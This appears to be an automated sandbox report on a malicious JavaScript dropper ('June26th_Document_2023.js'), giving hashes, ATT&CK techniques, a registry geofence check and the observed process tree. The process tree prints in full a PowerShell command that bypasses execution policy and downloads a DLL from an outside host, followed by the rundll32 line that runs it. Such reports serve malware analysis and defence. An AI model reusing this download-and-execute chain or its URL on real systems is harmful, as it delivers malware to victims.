b7aa9a7e7956a2be2fddf860f40d1e26e87c1b0b12a0ff7723445b4b7eea0810

Resubmissions

26-06-2023 15:36

230626-s1ydxabc2s 8

26-06-2023 14:10

230626-rg4wxaaa65 8

Analysis

max time kernel
89s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20230621-en
resource tags

arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
submitted
26-06-2023 14:10

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General

Target

June26th_Document_2023.js
Size

873KB
MD5

54187639d9027e6c3040367bcd69141a
SHA1

85d1274413c026b102dd6e6ddddea6ab8a399c00
SHA256

58d23b1de893e0fed73b8dcb80fcb2f5eb14359970ac35cc4ef0582dd1889134
SHA512

ebef7df4649b83dc34e9004a764a2995d7a5ffecdaed43c0b93bbb20302083260211373561861eb44d14f28986a97315c3ab23b8332e61f410ed049bc536736e
SSDEEP

24576:Vz1cgkPL8Kon29iRvE0azoX4Cpb2FiFRoxfhqAq8hPXJI9a:h1cgkPL8Kon29iRvE0azoX4HFiFRoxf3

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
12	1484	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2178924671-3779044592-2825503497-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 1 IoCs

pid	Process
2512	rundll32.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1484	powershell.exe
1484	powershell.exe
2512	rundll32.EXE
2512	rundll32.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1484	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 1484	956	wscript.exe	83
PID 956 wrote to memory of 1484	956	wscript.exe	83

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\June26th_Document_2023.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Invoke-WebRequest https://prodrepbox.com/images/viewforum.php?thread=2547 -OutFile C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1484

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll vcab /k vanil357
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2512

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll

Filesize
544KB

MD5
76a53cdb9d448ea08480befcdbd79124

SHA1
f76841e056324842ff19b3f1c6668ae4acf883d2

SHA256
ac9350547f75413fa264eabb70726d2cb57402b018920794fbd3432acd66ba04

SHA512
4d699d1889eeb05f85af89f87e018da8d2950af2c5a2986c8fbc94cd4730b1a0cc28c2f3717f945c32486158d5b5c2440b282c8423fca3827d5e6d053290232d

Download Submit
C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll

Filesize
544KB

MD5
76a53cdb9d448ea08480befcdbd79124

SHA1
f76841e056324842ff19b3f1c6668ae4acf883d2

SHA256
ac9350547f75413fa264eabb70726d2cb57402b018920794fbd3432acd66ba04

SHA512
4d699d1889eeb05f85af89f87e018da8d2950af2c5a2986c8fbc94cd4730b1a0cc28c2f3717f945c32486158d5b5c2440b282c8423fca3827d5e6d053290232d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bkhjwtoo.eda.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1484-134-0x000001BF0E590000-0x000001BF0E5A0000-memory.dmp

Filesize
64KB

Download
memory/1484-135-0x000001BF0E590000-0x000001BF0E5A0000-memory.dmp

Filesize
64KB

Download
memory/1484-138-0x000001BF0FEA0000-0x000001BF0FEC2000-memory.dmp

Filesize
136KB

Download
memory/1484-146-0x000001BF0E590000-0x000001BF0E5A0000-memory.dmp

Filesize
64KB

Download
memory/2512-152-0x000001DA7E000000-0x000001DA7E004000-memory.dmp

Filesize
16KB

Download